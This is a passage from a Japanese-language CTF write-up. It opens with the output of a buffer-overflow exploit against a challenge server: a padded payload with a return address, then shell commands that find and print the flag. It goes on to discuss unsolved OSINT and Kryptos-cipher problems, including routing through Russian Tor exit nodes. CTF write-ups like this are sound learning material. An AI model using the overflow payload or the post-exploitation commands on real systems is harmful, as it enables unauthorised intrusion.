> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x1a\xd4\xfe\x7f
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ find . -type f -name '*flag*' 2> /dev/null
./usr/include/linux/kernel-page-flags.h
./usr/include/linux/tty_flags.h
./usr/include/x86_64-linux-gnu/bits/termios-c_iflag.h
./usr/include/x86_64-linux-gnu/bits/termios-c_oflag.h
./usr/include/x86_64-linux-gnu/bits/waitflags.h
./usr/include/x86_64-linux-gnu/bits/mman-map-flags-generic.h
./usr/include/x86_64-linux-gnu/bits/termios-c_lflag.h
./usr/include/x86_64-linux-gnu/bits/termios-c_cflag.h
./usr/include/x86_64-linux-gnu/bits/ss_flags.h
./usr/include/x86_64-linux-gnu/asm/processor-flags.h
./usr/lib/x86_64-linux-gnu/perl/5.30.0/bits/ss_flags.ph
./usr/lib/x86_64-linux-gnu/perl/5.30.0/bits/waitflags.ph
./home/user/flag
./proc/sys/kernel/acpi_video_flags
./proc/sys/kernel/sched_domain/cpu0/domain0/flags
./proc/sys/kernel/sched_domain/cpu1/domain0/flags
./proc/sys/kernel/sched_domain/cpu2/domain0/flags
./proc/sys/kernel/sched_domain/cpu3/domain0/flags
./proc/kpageflags
./sys/devices/platform/serial8250/tty/ttyS15/flags
./sys/devices/platform/serial8250/tty/ttyS6/flags
./sys/devices/platform/serial8250/tty/ttyS23/flags
./sys/devices/platform/serial8250/tty/ttyS13/flags
./sys/devices/platform/serial8250/tty/ttyS31/flags
./sys/devices/platform/serial8250/tty/ttyS4/flags
./sys/devices/platform/serial8250/tty/ttyS21/flags
./sys/devices/platform/serial8250/tty/ttyS11/flags
./sys/devices/platform/serial8250/tty/ttyS2/flags
./sys/devices/platform/serial8250/tty/ttyS28/flags
./sys/devices/platform/serial8250/tty/ttyS0/flags
./sys/devices/platform/serial8250/tty/ttyS18/flags
./sys/devices/platform/serial8250/tty/ttyS9/flags
./sys/devices/platform/serial8250/tty/ttyS26/flags
./sys/devices/platform/serial8250/tty/ttyS16/flags
./sys/devices/platform/serial8250/tty/ttyS7/flags
./sys/devices/platform/serial8250/tty/ttyS24/flags
./sys/devices/platform/serial8250/tty/ttyS14/flags
./sys/devices/platform/serial8250/tty/ttyS5/flags
./sys/devices/platform/serial8250/tty/ttyS22/flags
./sys/devices/platform/serial8250/tty/ttyS12/flags
./sys/devices/platform/serial8250/tty/ttyS30/flags
./sys/devices/platform/serial8250/tty/ttyS3/flags
./sys/devices/platform/serial8250/tty/ttyS20/flags
./sys/devices/platform/serial8250/tty/ttyS10/flags
./sys/devices/platform/serial8250/tty/ttyS29/flags
./sys/devices/platform/serial8250/tty/ttyS1/flags
./sys/devices/platform/serial8250/tty/ttyS19/flags
./sys/devices/platform/serial8250/tty/ttyS27/flags
./sys/devices/platform/serial8250/tty/ttyS17/flags
./sys/devices/platform/serial8250/tty/ttyS8/flags
./sys/devices/platform/serial8250/tty/ttyS25/flags
./sys/devices/virtual/net/lo/flags
./sys/devices/virtual/net/eth0/flags
./sys/module/scsi_mod/parameters/default_dev_flags
$ cat ./home/user/flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
$
[*] Closed connection to 10.1.1.10 port 13050
user@14d208737f69:~$

フラグファイルの場所を探す必要はありましたが、無事フラグを入手できました: flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

解けなかった問題

[OSINT, 300pts] secret_operation

あなたと同僚は敵対組織が秘密裏に進めているオペレーションの調査を命じられました。

「どうやら事を起こそうとしているようだ。」

調査開始からしばらく経った頃、同僚からある画像が届きました。それはかなり不鮮明だったものの、どこかの Web ページを写したと思われる画像データでした。詳細を確認しようと同僚と連絡をとろうとしましたが返信はなく、同僚からの連絡はそれを最後に途絶えてしまいました。画像の Web ページを調査し敵対組織が秘密裏に進めているオペレーションを明らかにしなければ。

添付されたファイルを解析し、フラグを得てください。

配布ファイルを確認すると、ブラウザのスクリーンショットがボケたような内容の画像でした: URLは完全に見えているのでアクセスしてみましたが、自分のIPアドレスに基づいた国やタイムゾーンが表示されるくらいで、肝心のTwitterアカウントやLink先は全く出てきませんでした。

画像を見るにロシアからアクセスする必要があるのかと考えました。まずはcurlでX-Forwarded-Forフィールドをつけて見ましたが、それでは何も変わりませんでした。本当にロシアのプロキシサーバーを経由するにはどうすればいいか考えた結果、Torの出口ノードを使う方法を思いつきました。そういうわけでTorBrowserのtorrcを編集してみました:

(その他省略)
ExitNodes {ru} StrictNodes 1

この状態でTorBrowserでアクセスしてみると、配布画像のような黒背景で、Twitterアカウント@aarron142857とリンクが表示されました。リンク先にアクセスするとmy scopeというメッセージとともにユーザー名とパスワードを聞かれました。後は関連する情報を@aarron142857から探せば良さそうです。一通りツイートをさかのぼってみると、一番最初のツイートの添付画像に、カメラスペックも併記されていました。恐らくその情報のどれかでログインできると考えていろいろ試してみましたが全くログインできないまま終わりました、残念無念……。

他の方のwriteupを読むと、最初のツイートの添付画像中に別のPNG画像が埋め込まれており、それにIDとパスワードが書かれているとのことでした。存在することを気づかせない手法こそ真のステガノグラフィーなわけで、騙されていたことにむしろ感服すら覚えました。

[Crypto, 300pts] WEARECIA

家に帰ると黒い封筒が郵便受けに入っていました。封筒の中身は英字が羅列されたメモが一枚。青銅色の紙に白いインクで書かれており右下には同じインクで WEARECIA と記載されています。どうやら暗号文のようです。暗号文を解析してメッセージを受け取る必要がありそうです。

以下の暗号文を解読し、隠されたメッセージを見つけてください。フラグは得られたメッセージを flag{} で囲んで回答してください。

EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFDRCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM

全く分からなかった問題です。WEARECIAが鍵のヴィジュネル暗号かと考えて変換してみたりしましたが、意味不明の文字列が得られるだけでした。分からなさすぎると悔しさも感じないですね……。

他の方のwriteupを読むと、CIAのKryptosというものが関わるようでした。そもそもWEARECIAWe are CIAのことだと全く気づいていませんでした……。

感想

  • 開催期間2週間、全69問という力の入ったコンテストでした。
  • NetworkジャンルとWebジャンルが別々にあったり、普段あまり見ないOSINTジャンルやForensicsジャンルあったりと、ジャンルの面でも特徴的でした。
  • それらが合わさって、色々なジャンルにじっくり手を出すことができました。
  • OSINTが難しかったです!恐らく発想の方向性が足りてないです。
  • Forensicsも難しかったです!色々なツールがあると思うので調べてみたいです。
  • 後輩が出てくるtkysシリーズの問題は何か元ネタがあるんでしょうか……?